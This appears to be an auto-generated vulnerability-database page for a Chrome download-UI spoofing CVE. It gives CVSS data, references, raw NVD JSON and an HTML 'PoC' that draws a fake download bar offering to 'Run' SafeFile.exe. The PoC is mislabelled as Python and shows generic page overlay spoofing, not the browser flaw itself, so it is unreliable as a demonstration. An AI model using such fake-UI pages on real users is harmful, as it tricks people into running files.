CVE-2026-8564

Description

Incorrect security UI in Downloads in Google Chrome on Android and Mac prior to 148.0.7778.168 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Google Chrome on Android < 148.0.7778.168

Google Chrome on Mac < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for UI Spoofing in Chrome Downloads -->
<!-- This HTML simulates a fake download bar -->
<!DOCTYPE html>
<html>
<head>
<style>
  /* Position the fake bar at the bottom to mimic Chrome UI */
  #fake-download-bar {
    position: fixed;
    bottom: 0;
    left: 0;
    width: 100%;
    height: 60px;
    background-color: #e8eaed;
    border-top: 1px solid #dadce0;
    display: flex;
    align-items: center;
    padding-left: 20px;
    font-family: Arial, sans-serif;
    box-shadow: 0 -2px 5px rgba(0,0,0,0.1);
    z-index: 9999;
  }
  .fake-icon {
    width: 32px;
    height: 32px;
    background: red; /* Represents a file type */
    margin-right: 15px;
  }
  .fake-text {
    flex-grow: 1;
  }
  .fake-link {
    color: #1a73e8;
    text-decoration: underline;
    cursor: pointer;
  }
</style>
</head>
<body>
  <h1>Regular Page Content</h1>
  <p>Wait for the download prompt...</p>

  <div id="fake-download-bar">
    <div class="fake-icon"></div>
    <div class="fake-text">
      <div>SafeFile.exe has been downloaded.</div>
      <div class="fake-link" onclick="alert('User clicked fake download link!')">Run</div>
      <span style="margin-left:10px; color:#5f6368;">&times;</span>
    </div>
  </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8564
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8564
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8564/
[4] VulDB https://vuldb.com/cve/CVE-2026-8564
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/418273622

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8564", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:18.550", "lastModified": "2026-05-14T22:16:49.850", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect security UI in Downloads in Google Chrome on Android and Mac prior to 148.0.7778.168 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/418273622", "source": "[email protected]"}]}}